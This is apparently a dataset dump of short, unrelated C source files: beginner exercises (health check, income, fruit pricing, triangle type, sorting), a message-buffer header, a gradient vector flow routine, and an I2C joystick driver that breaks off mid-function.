language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
/* 健康情况练习 */ #include <stdio.h> int main() { int gender = 0, height = 0, weight = 0; printf("请输入性别,身高和体重:"); scanf("%d%d%d", &gender, &height, &weight); if (gender) { if (weight < height - 105) { printf("健康的男人\n"); } else { printf("不健康的男人\n"); } } else { if (weight < height - 110) { printf("健康的女人\n"); } else { printf("不健康的女人\n"); } } return 0; }
C
// Haftalık gelir hesaplama #include<stdio.h> #include<locale.h> // setlocale() //#include<conio.h> // ekran bekletme int main(){ //setlocale(LC_ALL, "Turkish"); // Türkçe karakter desteği sağlanıyor float haftalik, yillik; printf(" Yıllık geliriniz nedir? "); // kullanıcıya mesaj scanf("%f",&yillik); haftalik= yillik/52; // haftalık gelir hesaplanır printf(" \n Haftalık geliriniz %.2f TL", haftalik); // getch(); return 0; }
C
/*Se o cliente comprar mais de 8 Kg em frutas ou o valor total da compra ultrapassar R$ 25,00, receberá ainda um desconto de 10% sobre este total. Escreva um algoritmo para ler a quantidade (em Kg) de morangos e a quantidade (em Kg) de maças adquiridas e escreva o valor a ser pago pelo cliente.*/ #include <stdio.h> int main(){ float morango, maca, precomorango, precomaca, precototal; printf("kg morango e kg maçã, respectivamente: "); scanf("%f%f", &morango, &maca); if(morango<=5){ precomorango=2.5; }else{ precomorango=2.2; } if(maca<=5){ precomaca=1.8; }else{ precomaca=1.5; } precomorango=precomorango*morango; precomaca=precomaca*maca; precototal=precomorango+precomaca; if(morango+maca>8 || precomorango+precomaca>25){ precototal=precototal*0.9; } printf("Preço total: %.2f\n", precototal); return 0; }
C
#include <stdio.h> #include <math.h> #define OK 0 #define INP_ERR 1 #define NOT_EXIST 2 #define TRUE 1 #define FALSE 0 #define PRECISION 0.00001 #define RIGHT 5 #define ACUTE 6 #define OBTUSE 7 float triangle(float x1, float y1, float x2, float y2, float x3, float y3) { float a, b, c, h = 0, k = 0, l = 0, t_fir = 0, t_sec = 0; a = (y2 - y1) * (y2 - y1) + (x2 - x1) * (x2 - x1); b = (y3 - y1) * (y3 - y1) + (x3 - x1) * (x3 - x1); c = (y2 - y3) * (y2 - y3) + (x2 - x3) * (x2 - x3); if (a < b) { k = a; l = b; } else { k = b; l = a; } if (l < c) { h = c; } else { h = l; l = c; } t_fir = h; t_sec = k + l; if (t_fir == t_sec) return RIGHT; else if (t_fir < t_sec) return ACUTE; else return OBTUSE; } int is_equal(float num1, float num2) { if (fabs(num1 - num2) < PRECISION) { return TRUE; } else { return FALSE; } } int check(float x1, float y1, float x2, float y2, float x3, float y3) { if ((is_equal(x1, x2) && is_equal(y1, y2)) || (is_equal(x1, x3) && is_equal(y1, y3)) || (is_equal(x2, x3) && is_equal(y2, y3)) || (is_equal(x1, y1) && is_equal(x2, y2) && is_equal(x3, y3)) || (is_equal(((x1 - x3) * (y2 - y3) - (x2 - x3) * (y1 - y3)), 0))) { return NOT_EXIST; } else { return OK; } } int main(void) { float x1, y1, x2, y2, x3, y3; int answer = 0; int correct = OK; printf("Enter coordinates: "); if (scanf("%f%f%f%f%f%f", &x1, &y1, &x2, &y2, &x3, &y3) == 6) { if (check(x1, y1, x2, y2, x3, y3) == NOT_EXIST) { correct = NOT_EXIST; } else { if (triangle(x1, y1, x2, y2, x3, y3) == 5) { answer = 1; } else if (triangle(x1, y1, x2, y2, x3, y3) == 6) { answer = 0; } else { answer = 2; } printf("%d", answer); } } else { correct = INP_ERR; } return correct; }
C
#include<stdio.h> int main() { char s[100]="idsafkl"; char *p=s; //scanf("%s",s); for(p=s;*p!=0;p++) p--; for(;p>=s;p--) putchar(*p); putchar(10); return 0; }
C
int main() { int n; struct ren { char id[10]; int age; } p[100]; struct ren t; int i,j; scanf("%d",&n); for(i=0;i<n;i++) { scanf("%s %d",p[i].id,&p[i].age); } for(i=0;i<n-1;i++) { for(j=0;j<n-1-i;j++) { if(p[j].age<p[j+1].age && p[j+1].age>=60) { t=p[j]; p[j]=p[j+1]; p[j+1]=t; } } } for(i=0;i<n;i++) printf("%s\n",p[i].id); return 0; }
C
// // msg_buffers.h // chachat // #ifndef __Chachat__msg_buffers__ #define __Chachat__msg_buffers__ // This should be called once as the program starts void init_msg_buffers(); // This will remove all the buffers and free the memory void clear_all_msg_buffers(); // Creates a new message buffer // A client connection thread is supposed to call this function when connected int new_buffer(int client_id); int remove_buffer(int client_id); // Reads a line from a message buffer // If the buffer is empty returns NULL // Returned message is malloced, should be freed after consumed char* read_buffer(int client_id); // Like previous, but will block until there is a new message to read char* read_buffer_block(int client_id); // When sending messages to other clients, threads use this method to write to client buffer // That client's connection thread will read the message from that buffer // Message will be copied to a new malloced memory address in the heap int write_to_buffer(int client_id, const char* message, int n); // List the buffers to stdout for debug purposes void list_buffers(); #endif /* defined(__Chachat__msg_buffers__) */
C
// import java.io.*; // import java.lang.*; // import java.util.*; // #!/usr/bin/python -O #include <stdio.h> #include <stdlib.h> #include <string.h> #include<stdbool.h> #include<limits.h> // #include<iostream> // #include<algorithm> // #include<string> // #include<vector> //using namespace std; /* # Author : @RAJ009F # Topic or Type : GFG/ARRAY # Problem Statement : # Description : # Complexity : ======================= #sample output ---------------------- ======================= */ void merge(int arr1[], int m, int arr2[], int n ) { int i; for( i=n-1; i>=0; i--) { int j ; int last = arr1[m-1]; for(j=m-2; j>=0&&arr1[j]>arr2[i]; j--) arr1[j+1] = arr1[j]; if(j!=m-2) { arr1[j+1] = arr2[i]; arr2[i] = last; } } } void printArray(int arr[], int n) { int i; for(i=0; i<n; i++) { printf("%d ", arr[i]); } printf("\n"); } int main() { int arr1[] = {1, 5, 9, 10, 15, 20}; int arr2[] = {2, 3, 8, 13}; int m = sizeof(arr1)/sizeof(arr1[0]); int n = sizeof(arr2)/sizeof(arr2[0]); printf("before\n"); printArray(arr1, m ); printArray(arr2, n); merge(arr1, m, arr2, n ); printf("after\n"); printArray(arr1, m ); printArray(arr2, n); }
C
#include <assert.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include "sort.h" int* createArray(int len); void validate(int* a, int* c, int l); void testOne(); void testTwo(); void testThree(); void testSeven(); void testEight(); int main(void) { testOne(); testTwo(); testThree(); testSeven(); testEight(); } int* createArray(int len) { int* a = malloc(sizeof(int)*len); if (a == NULL) assert(false); return a; } void validate(int* a, int* c, int l) { for (int i=0; i<l; i++) { if (a[i] != c[i]) assert(false); } } void testOne() { int l = 1; int* a = createArray(l); *a = 1; int* b = mergeSort(a, l); int* c = createArray(l); c[0] = 1; validate(b, c, l); free(a); free(b); free(c); } void testTwo() { int l = 2; int* a = createArray(l); a[0] = 2; a[1] = 1; int* b = mergeSort(a, l); int* c = createArray(l); c[0] = 1; c[1] = 2; validate(b, c, l); free(a); free(b); free(c); } void testThree() { int l = 3; int* a = createArray(l); a[0] = 4; a[1] = 2; a[2] = 5; int* b = mergeSort(a, l); int* c = createArray(l); c[0] = 2; c[1] = 4; c[2] = 5; validate(b, c, l); free(a); free(b); free(c); } void testSeven() { int l = 7; int* a = createArray(l); a[0] = 4; a[1] = 2; a[2] = 5; a[3] = 1; a[4] = 8; a[5] = 3; a[6] = 4; int* b = mergeSort(a, l); int* c = createArray(l); c[0] = 1; c[1] = 2; c[2] = 3; c[3] = 4; c[4] = 4; c[5] = 5; c[6] = 8; validate(b, c, l); free(a); free(b); free(c); } void testEight() { int l = 8; int* a = createArray(l); a[0] = 4; a[1] = 2; a[2] = 5; a[3] = 1; a[4] = 3; a[5] = 8; a[6] = 4; a[7] = 11; int* b = mergeSort(a, l); int* c = createArray(l); c[0] = 1; c[1] = 2; c[2] = 3; c[3] = 4; c[4] = 4; c[5] = 5; c[6] = 8; c[7] = 11; validate(b, c, l); free(a); free(b); free(c); }
C
#include <stdio.h> #include <time.h> #define MAX_SIZE 1601 #define ITERATIONS 26 #define SWAP(x,y,t) ((t)=(x),(x)=(y),(y)=(t)) int main(int argc, char const *argv[]) { int i,j,position; int list[MAX_SIZE]; int sizelist[]={0,10,20,30,40,50,60,70,80,90,100,200,300,400,500,600,700,800 ,900,1000,1100,1200,1300,1400,1500,1600}; clock_t start,stop; double duration; printf(" n time\n"); for(i=0;i<ITERATIONS;i++) { for(j=0;j<list[i];j++) list[j]=sizelist[i]-j; start=clock(); sort(list) } return 0; }
C
#include <stdio.h> #include <unistd.h> void main(){ int pid1 = fork(); int pid2 = fork(); if (pid1==0 && pid2==0) return; else if (pid1==0){ printf("I'm launching ps -ef\n"); execl("/bin/ps","ps","-ef",NULL); } else if (pid2==0){ printf("I'm launching free -h\n"); execl("/usr/bin/free","free","-h",NULL); } else printf("I'm parent, child is %d and %d\n",pid1,pid2); return; }
C
/************************************** * Zeyun Yu ([email protected]) * * Department of Computer Science * * University of Texas at Austin * **************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <malloc.h> #include <memory.h> #define max(x, y) ((x>y) ? (x):(y)) #define min(x, y) ((x<y) ? (x):(y)) #define WINSIZE 1 #define WINDOW 3 #define SIGMA 0.8 #define IndexVect(i,j,k) ((k)*XDIM*YDIM + (j)*XDIM + (i)) typedef struct { float x; float y; float z; }VECTOR; VECTOR* velocity; int XDIM,YDIM,ZDIM; float *dataset; void gvfflow(); void GetGradient(); void GetMinGradient(); void GetMaxGradient(); void GVF_Compute(int xd,int yd,int zd,float *data, VECTOR* vel) { XDIM = xd; YDIM = yd; ZDIM = zd; dataset = data; velocity = vel; GetGradient(); gvfflow(); } void gvfflow() { float *u, *v, *w; float *tempx, *tempy, *tempz; int m,i,j,k; float up,down,left,right,front,back; float tmp,temp; float Kapa = 2; float back_avg; u = (float*)malloc(sizeof(float)*XDIM*YDIM*ZDIM); v = (float*)malloc(sizeof(float)*XDIM*YDIM*ZDIM); w = (float*)malloc(sizeof(float)*XDIM*YDIM*ZDIM); tempx = (float*)malloc(sizeof(float)*XDIM*YDIM*ZDIM); tempy = (float*)malloc(sizeof(float)*XDIM*YDIM*ZDIM); tempz = (float*)malloc(sizeof(float)*XDIM*YDIM*ZDIM); for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { u[IndexVect(i,j,k)] = velocity[IndexVect(i,j,k)].x; v[IndexVect(i,j,k)] = velocity[IndexVect(i,j,k)].y; w[IndexVect(i,j,k)] = velocity[IndexVect(i,j,k)].z; } back_avg = (dataset[IndexVect(1,1,1)]+ dataset[IndexVect(XDIM-2,1,1)]+ dataset[IndexVect(1,YDIM-2,1)]+ dataset[IndexVect(XDIM-2,YDIM-2,1)]+ dataset[IndexVect(1,1,ZDIM-2)]+ dataset[IndexVect(XDIM-2,1,ZDIM-2)]+ dataset[IndexVect(1,YDIM-2,ZDIM-2)]+ dataset[IndexVect(XDIM-2,YDIM-2,ZDIM-2)])/8.0; for (m = 0; m < 3; m++) { printf("Iteration = %d \n",m); /* New GVD */ for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { if (dataset[IndexVect(i,j,k)] > back_avg+2) { tmp = sqrt(u[IndexVect(i,j,k)] * u[IndexVect(i,j,k)] + v[IndexVect(i,j,k)] * v[IndexVect(i,j,k)] + w[IndexVect(i,j,k)] * w[IndexVect(i,j,k)]); if (tmp == 0) { tempx[IndexVect(i,j,k)] = (u[IndexVect(min(i+1,XDIM-1),j,k)] + u[IndexVect(max(i-1,0),j,k)] + u[IndexVect(i,min(j+1,YDIM-1),k)] + u[IndexVect(i,max(j-1,0),k)] + u[IndexVect(i,j,min(k+1,ZDIM-1))] + u[IndexVect(i,j,max(k-1,0))])/6.0; tempy[IndexVect(i,j,k)] = (v[IndexVect(min(i+1,XDIM-1),j,k)] + v[IndexVect(max(i-1,0),j,k)] + v[IndexVect(i,min(j+1,YDIM-1),k)] + v[IndexVect(i,max(j-1,0),k)] + v[IndexVect(i,j,min(k+1,ZDIM-1))] + v[IndexVect(i,j,max(k-1,0))])/6.0; tempz[IndexVect(i,j,k)] = (w[IndexVect(min(i+1,XDIM-1),j,k)] + w[IndexVect(max(i-1,0),j,k)] + w[IndexVect(i,min(j+1,YDIM-1),k)] + w[IndexVect(i,max(j-1,0),k)] + w[IndexVect(i,j,min(k+1,ZDIM-1))] + w[IndexVect(i,j,max(k-1,0))])/6.0; } else { temp = sqrt(u[IndexVect(i,j,min(k+1,ZDIM-1))] * u[IndexVect(i,j,min(k+1,ZDIM-1))] + v[IndexVect(i,j,min(k+1,ZDIM-1))] * v[IndexVect(i,j,min(k+1,ZDIM-1))] + w[IndexVect(i,j,min(k+1,ZDIM-1))] * w[IndexVect(i,j,min(k+1,ZDIM-1))]); if (temp == 0) up = 0; else up = exp(Kapa*((u[IndexVect(i,j,k)]*u[IndexVect(i,j,min(k+1,ZDIM-1))]+ v[IndexVect(i,j,k)]*v[IndexVect(i,j,min(k+1,ZDIM-1))]+ w[IndexVect(i,j,k)]*w[IndexVect(i,j,min(k+1,ZDIM-1))])/ (tmp * temp)-1)); temp = sqrt(u[IndexVect(i,j,max(k-1,0))] * u[IndexVect(i,j,max(k-1,0))] + v[IndexVect(i,j,max(k-1,0))] * v[IndexVect(i,j,max(k-1,0))] + w[IndexVect(i,j,max(k-1,0))] * w[IndexVect(i,j,max(k-1,0))]); if (temp == 0) down = 0; else down = exp(Kapa*((u[IndexVect(i,j,k)]*u[IndexVect(i,j,max(k-1,0))]+ v[IndexVect(i,j,k)]*v[IndexVect(i,j,max(k-1,0))]+ w[IndexVect(i,j,k)]*w[IndexVect(i,j,max(k-1,0))])/ (tmp * temp)-1)); temp = sqrt(u[IndexVect(i,max(j-1,0),k)] * u[IndexVect(i,max(j-1,0),k)] + v[IndexVect(i,max(j-1,0),k)] * v[IndexVect(i,max(j-1,0),k)] + w[IndexVect(i,max(j-1,0),k)] * w[IndexVect(i,max(j-1,0),k)]); if (temp == 0) left = 0; else left = exp(Kapa*((u[IndexVect(i,j,k)]*u[IndexVect(i,max(j-1,0),k)]+ v[IndexVect(i,j,k)]*v[IndexVect(i,max(j-1,0),k)]+ w[IndexVect(i,j,k)]*w[IndexVect(i,max(j-1,0),k)])/ (tmp * temp)-1)); temp = sqrt(u[IndexVect(i,min(j+1,YDIM-1),k)] * u[IndexVect(i,min(j+1,YDIM-1),k)] + v[IndexVect(i,min(j+1,YDIM-1),k)] * v[IndexVect(i,min(j+1,YDIM-1),k)] + w[IndexVect(i,min(j+1,YDIM-1),k)] * w[IndexVect(i,min(j+1,YDIM-1),k)]); if (temp == 0) right = 0; else right = exp(Kapa*((u[IndexVect(i,j,k)]*u[IndexVect(i,min(j+1,YDIM-1),k)]+ v[IndexVect(i,j,k)]*v[IndexVect(i,min(j+1,YDIM-1),k)]+ w[IndexVect(i,j,k)]*w[IndexVect(i,min(j+1,YDIM-1),k)])/ (tmp * temp)-1)); temp = sqrt(u[IndexVect(max(i-1,0),j,k)] * u[IndexVect(max(i-1,0),j,k)] + v[IndexVect(max(i-1,0),j,k)] * v[IndexVect(max(i-1,0),j,k)] + w[IndexVect(max(i-1,0),j,k)] * w[IndexVect(max(i-1,0),j,k)]); if (temp == 0) back = 0; else back= exp(Kapa*((u[IndexVect(i,j,k)]*u[IndexVect(max(i-1,0),j,k)]+ v[IndexVect(i,j,k)]*v[IndexVect(max(i-1,0),j,k)]+ w[IndexVect(i,j,k)]*w[IndexVect(max(i-1,0),j,k)])/ (tmp * temp)-1)); temp = sqrt(u[IndexVect(min(i+1,XDIM-1),j,k)] * u[IndexVect(min(i+1,XDIM-1),j,k)] + v[IndexVect(min(i+1,XDIM-1),j,k)] * v[IndexVect(min(i+1,XDIM-1),j,k)] + w[IndexVect(min(i+1,XDIM-1),j,k)] * w[IndexVect(min(i+1,XDIM-1),j,k)]); if (temp == 0) front = 0; else front = exp(Kapa*((u[IndexVect(i,j,k)]*u[IndexVect(min(i+1,XDIM-1),j,k)]+ v[IndexVect(i,j,k)]*v[IndexVect(min(i+1,XDIM-1),j,k)]+ w[IndexVect(i,j,k)]*w[IndexVect(min(i+1,XDIM-1),j,k)])/ (tmp * temp)-1)); temp = front+back+right+left+up+down; if (temp != 0) { front /= temp; back /= temp; right /= temp; left /= temp; up /= temp; down /= temp; } tempx[IndexVect(i,j,k)] = u[IndexVect(i,j,k)] + ( front*(u[IndexVect(min(i+1,XDIM-1),j,k)] - u[IndexVect(i,j,k)]) + back*(u[IndexVect(max(i-1,0),j,k)] - u[IndexVect(i,j,k)]) + right*(u[IndexVect(i,min(j+1,YDIM-1),k)] - u[IndexVect(i,j,k)]) + left*(u[IndexVect(i,max(j-1,0),k)] - u[IndexVect(i,j,k)]) + up*(u[IndexVect(i,j,min(k+1,ZDIM-1))] - u[IndexVect(i,j,k)]) + down*(u[IndexVect(i,j,max(k-1,0))] - u[IndexVect(i,j,k)])); tempy[IndexVect(i,j,k)] = v[IndexVect(i,j,k)] + ( front*(v[IndexVect(min(i+1,XDIM-1),j,k)] - v[IndexVect(i,j,k)]) + back*(v[IndexVect(max(i-1,0),j,k)] - v[IndexVect(i,j,k)]) + right*(v[IndexVect(i,min(j+1,YDIM-1),k)] - v[IndexVect(i,j,k)]) + left*(v[IndexVect(i,max(j-1,0),k)] - v[IndexVect(i,j,k)]) + up*(v[IndexVect(i,j,min(k+1,ZDIM-1))] - v[IndexVect(i,j,k)]) + down*(v[IndexVect(i,j,max(k-1,0))] - v[IndexVect(i,j,k)])); tempz[IndexVect(i,j,k)] = w[IndexVect(i,j,k)] + ( front*(w[IndexVect(min(i+1,XDIM-1),j,k)] - w[IndexVect(i,j,k)]) + back*(w[IndexVect(max(i-1,0),j,k)] - w[IndexVect(i,j,k)]) + right*(w[IndexVect(i,min(j+1,YDIM-1),k)] - w[IndexVect(i,j,k)]) + left*(w[IndexVect(i,max(j-1,0),k)] - w[IndexVect(i,j,k)]) + up*(w[IndexVect(i,j,min(k+1,ZDIM-1))] - w[IndexVect(i,j,k)]) + down*(w[IndexVect(i,j,max(k-1,0))] - w[IndexVect(i,j,k)])); } } } for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { u[IndexVect(i,j,k)] = tempx[IndexVect(i,j,k)]; v[IndexVect(i,j,k)] = tempy[IndexVect(i,j,k)]; w[IndexVect(i,j,k)] = tempz[IndexVect(i,j,k)]; } } for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { velocity[IndexVect(i,j,k)].x = u[IndexVect(i,j,k)]; velocity[IndexVect(i,j,k)].y = v[IndexVect(i,j,k)]; velocity[IndexVect(i,j,k)].z = w[IndexVect(i,j,k)]; } free(u); free(v); free(w); free(tempx); free(tempy); free(tempz); } /* minimum neighbor: for features brighter than background */ void GetMinGradient() { int i,j,k; int m,n,l; int min_x,min_y,min_z; float min_value, tmp; float maxgrad, gradient; float fx,fy,fz; for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { min_value = dataset[IndexVect(i,j,k)]; for (l=max(0,k-WINSIZE); l<=min(ZDIM-1,k+WINSIZE); l++) for (n=max(0,j-WINSIZE); n<=min(YDIM-1,j+WINSIZE); n++) for (m=max(0,i-WINSIZE); m<=min(XDIM-1,i+WINSIZE); m++) { if (dataset[IndexVect(m,n,l)] < min_value) min_value = dataset[IndexVect(m,n,l)]; } if(min_value == dataset[IndexVect(i,j,k)]) { velocity[IndexVect(i,j,k)].x = 0; velocity[IndexVect(i,j,k)].y = 0; velocity[IndexVect(i,j,k)].z = 0; } else { fx = 0; fy = 0; fz = 0; for (l=max(0,k-WINSIZE); l<=min(ZDIM-1,k+WINSIZE); l++) for (n=max(0,j-WINSIZE); n<=min(YDIM-1,j+WINSIZE); n++) for (m=max(0,i-WINSIZE); m<=min(XDIM-1,i+WINSIZE); m++) { if (dataset[IndexVect(m,n,l)] == min_value) { gradient = sqrt((m-i)*(m-i)+(n-j)*(n-j)+(l-k)*(l-k)); fx += (m-i)/gradient; fy += (n-j)/gradient; fz += (l-k)/gradient; } } gradient = sqrt(fx*fx+fy*fy+fz*fz); if (gradient == 0) { velocity[IndexVect(i,j,k)].x = 0; velocity[IndexVect(i,j,k)].y = 0; velocity[IndexVect(i,j,k)].z = 0; } else { fx /= gradient; fy /= gradient; fz /= gradient; min_value = 0; for (l=max(0,k-WINSIZE); l<=min(ZDIM-1,k+WINSIZE); l++) for (n=max(0,j-WINSIZE); n<=min(YDIM-1,j+WINSIZE); n++) for (m=max(0,i-WINSIZE); m<=min(XDIM-1,i+WINSIZE); m++) { if (m!=i || n!=j || l!=k) { gradient = (fx*(m-i)+fy*(n-j)+fz*(l-k))/ sqrt((m-i)*(m-i)+(n-j)*(n-j)+(l-k)*(l-k)); if (gradient > min_value) { min_x = m; min_y = n; min_z = l; min_value = gradient; } } } tmp = -(dataset[IndexVect(min_x,min_y,min_z)]- dataset[IndexVect(i,j,k)])/ sqrt((min_x - i)*(min_x - i)+ (min_y - j)*(min_y - j)+ (min_z - k)*(min_z - k)); velocity[IndexVect(i,j,k)].x = (min_x - i) * tmp; velocity[IndexVect(i,j,k)].y = (min_y - j) * tmp; velocity[IndexVect(i,j,k)].z = (min_z - k) * tmp; } } } /* maxgrad = -999; for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { gradient = velocity[IndexVect(i,j,k)].x * velocity[IndexVect(i,j,k)].x + velocity[IndexVect(i,j,k)].y * velocity[IndexVect(i,j,k)].y + velocity[IndexVect(i,j,k)].z * velocity[IndexVect(i,j,k)].z; if (gradient > maxgrad) maxgrad = gradient; } maxgrad = sqrt(maxgrad); for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { velocity[IndexVect(i,j,k)].x = velocity[IndexVect(i,j,k)].x / maxgrad; velocity[IndexVect(i,j,k)].y = velocity[IndexVect(i,j,k)].y / maxgrad; velocity[IndexVect(i,j,k)].z = velocity[IndexVect(i,j,k)].z / maxgrad; } */ } /* maximum neighbor: for features darker than background */ void GetMaxGradient() { int i,j,k; int m,n,l; int max_x,max_y,max_z; float max_value, tmp; float maxgrad, gradient; float fx,fy,fz; for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { max_value = dataset[IndexVect(i,j,k)]; for (l=max(0,k-WINSIZE); l<=min(ZDIM-1,k+WINSIZE); l++) for (n=max(0,j-WINSIZE); n<=min(YDIM-1,j+WINSIZE); n++) for (m=max(0,i-WINSIZE); m<=min(XDIM-1,i+WINSIZE); m++) { if (dataset[IndexVect(m,n,l)] > max_value) max_value = dataset[IndexVect(m,n,l)]; } if(max_value == dataset[IndexVect(i,j,k)]) { velocity[IndexVect(i,j,k)].x = 0; velocity[IndexVect(i,j,k)].y = 0; velocity[IndexVect(i,j,k)].z = 0; } else { fx = 0; fy = 0; fz = 0; for (l=max(0,k-WINSIZE); l<=min(ZDIM-1,k+WINSIZE); l++) for (n=max(0,j-WINSIZE); n<=min(YDIM-1,j+WINSIZE); n++) for (m=max(0,i-WINSIZE); m<=min(XDIM-1,i+WINSIZE); m++) { if (dataset[IndexVect(m,n,l)] == max_value) { gradient = sqrt((m-i)*(m-i)+(n-j)*(n-j)+(l-k)*(l-k)); fx += (m-i)/gradient; fy += (n-j)/gradient; fz += (l-k)/gradient; } } gradient = sqrt(fx*fx+fy*fy+fz*fz); if (gradient == 0) { velocity[IndexVect(i,j,k)].x = 0; velocity[IndexVect(i,j,k)].y = 0; velocity[IndexVect(i,j,k)].z = 0; } else { fx /= gradient; fy /= gradient; fz /= gradient; max_value = 0; for (l=max(0,k-WINSIZE); l<=min(ZDIM-1,k+WINSIZE); l++) for (n=max(0,j-WINSIZE); n<=min(YDIM-1,j+WINSIZE); n++) for (m=max(0,i-WINSIZE); m<=min(XDIM-1,i+WINSIZE); m++) { if (m!=i || n!=j || l!=k) { gradient = (fx*(m-i)+fy*(n-j)+fz*(l-k))/ sqrt((m-i)*(m-i)+(n-j)*(n-j)+(l-k)*(l-k)); if (gradient > max_value) { max_x = m; max_y = n; max_z = l; max_value = gradient; } } } tmp = (dataset[IndexVect(max_x,max_y,max_z)]- dataset[IndexVect(i,j,k)])/ sqrt((max_x - i)*(max_x - i)+ (max_y - j)*(max_y - j)+ (max_z - k)*(max_z - k)); velocity[IndexVect(i,j,k)].x = (max_x - i) * tmp; velocity[IndexVect(i,j,k)].y = (max_y - j) * tmp; velocity[IndexVect(i,j,k)].z = (max_z - k) * tmp; } } } /* maxgrad = -999; for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { gradient = velocity[IndexVect(i,j,k)].x * velocity[IndexVect(i,j,k)].x + velocity[IndexVect(i,j,k)].y * velocity[IndexVect(i,j,k)].y + velocity[IndexVect(i,j,k)].z * velocity[IndexVect(i,j,k)].z; if (gradient > maxgrad) maxgrad = gradient; } maxgrad = sqrt(maxgrad); for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { velocity[IndexVect(i,j,k)].x = velocity[IndexVect(i,j,k)].x / maxgrad; velocity[IndexVect(i,j,k)].y = velocity[IndexVect(i,j,k)].y / maxgrad; velocity[IndexVect(i,j,k)].z = velocity[IndexVect(i,j,k)].z / maxgrad; } */ } /* Old method */ void GetGradient() { int i,j,k; int x,y,z; int m,n,l; double total,weight; double *template; float *tempt; float back_avg; back_avg = (dataset[IndexVect(1,1,1)]+ dataset[IndexVect(XDIM-2,1,1)]+ dataset[IndexVect(1,YDIM-2,1)]+ dataset[IndexVect(XDIM-2,YDIM-2,1)]+ dataset[IndexVect(1,1,ZDIM-2)]+ dataset[IndexVect(XDIM-2,1,ZDIM-2)]+ dataset[IndexVect(1,YDIM-2,ZDIM-2)]+ dataset[IndexVect(XDIM-2,YDIM-2,ZDIM-2)])/8.0; template = (double*)malloc(sizeof(double)*(2*WINDOW+1)*(2*WINDOW+1)*(2*WINDOW+1)); total = 0; for (k=0; k<2*WINDOW+1; k++) for (j=0; j<2*WINDOW+1; j++) for (i=0; i<2*WINDOW+1; i++) { weight = exp(-((i-WINDOW)*(i-WINDOW)+(j-WINDOW)*(j-WINDOW)+ (k-WINDOW)*(k-WINDOW))/(2.0*(float)SIGMA*(float)SIGMA)); total += weight; template[(2*WINDOW+1)*(2*WINDOW+1)*k+(2*WINDOW+1)*j+i] = weight; } for (k=0; k<2*WINDOW+1; k++) for (j=0; j<2*WINDOW+1; j++) for (i=0; i<2*WINDOW+1; i++) template[(2*WINDOW+1)*(2*WINDOW+1)*k+(2*WINDOW+1)*j+i] /= total; tempt = (float*)malloc(sizeof(float)*XDIM*YDIM*ZDIM); for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { if (dataset[IndexVect(i,j,k)] > back_avg+2) { total = 0; for (l=0; l<2*WINDOW+1; l++) for (n=0; n<2*WINDOW+1; n++) for (m=0; m<2*WINDOW+1; m++) { x = i-WINDOW+m; y = j-WINDOW+n; z = k-WINDOW+l; if (x < 0) x = 0; if (y < 0) y = 0; if (z < 0) z = 0; if (x > XDIM-1) x = XDIM-1; if (y > YDIM-1) y = YDIM-1; if (z > ZDIM-1) z = ZDIM-1; total += template[(2*WINDOW+1)*(2*WINDOW+1)*l+(2*WINDOW+1)*n+m]* dataset[IndexVect(x,y,z)]; } tempt[IndexVect(i,j,k)] = total; } else tempt[IndexVect(i,j,k)] = dataset[IndexVect(i,j,k)]; } for (k=0; k<ZDIM; k++) for (j=0; j<YDIM; j++) for (i=0; i<XDIM; i++) { velocity[IndexVect(i,j,k)].x = -0.05*(tempt[IndexVect(min(i+1,XDIM-1),j,k)]- tempt[IndexVect(max(i-1,0),j,k)]); velocity[IndexVect(i,j,k)].y = -0.05*(tempt[IndexVect(i,min(j+1,YDIM-1),k)]- tempt[IndexVect(i,max(j-1,0),k)]); velocity[IndexVect(i,j,k)].z = -0.05*(tempt[IndexVect(i,j,min(k+1,ZDIM-1))]- tempt[IndexVect(i,j,max(k-1,0))]); } free(tempt); free(template); }
C
// http://elinux.org/Interfacing_with_I2C_Devices #include <stdio.h> #include <stdlib.h> #include "I2C.h" #include "JoystickDevice.h" #define I2C_GAMEPAD_ADDRESS 0x18 #define UPDATE_FREQ 5000 // ms (200Hz) typedef struct { uint16_t buttons; // button status } I2CJoystickStatus; int readI2CJoystick(int file, I2CJoystickStatus *status) { int s = readI2CSlave(file, I2C_GAMEPAD_ADDRESS, status, sizeof(I2CJoystickStatus)); if(s != sizeof(I2CJoystickStatus)) return -1; // error return 0; // no error } #define TestBitAndSendKeyEvent(oldValue, newValue, bit, event) if((oldValue & (1 << bit)) != (newValue & (1 << bit))) sendInputEvent(UInputFIle, EV_KEY, event, (newValue & (1 << bit)) == 0 ? 0 : 1); void updateUInputDevice(int UInputFIle, I2CJoystickStatus *newStatus, I2CJoystickStatus *status) { // update button event TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 0, KEY_LEFT); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 1, KEY_DOWN); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 2, KEY_UP); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 3, KEY_RIGHT); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 4, KEY_LEFTALT); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 5, KEY_LEFTCTRL); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 6, KEY_ENTER); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 7, KEY_ESC); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 8, KEY_SPACE); TestBitAndSendKeyEvent(status->buttons, newStatus->buttons, 9, KEY_TAB); } int main(int 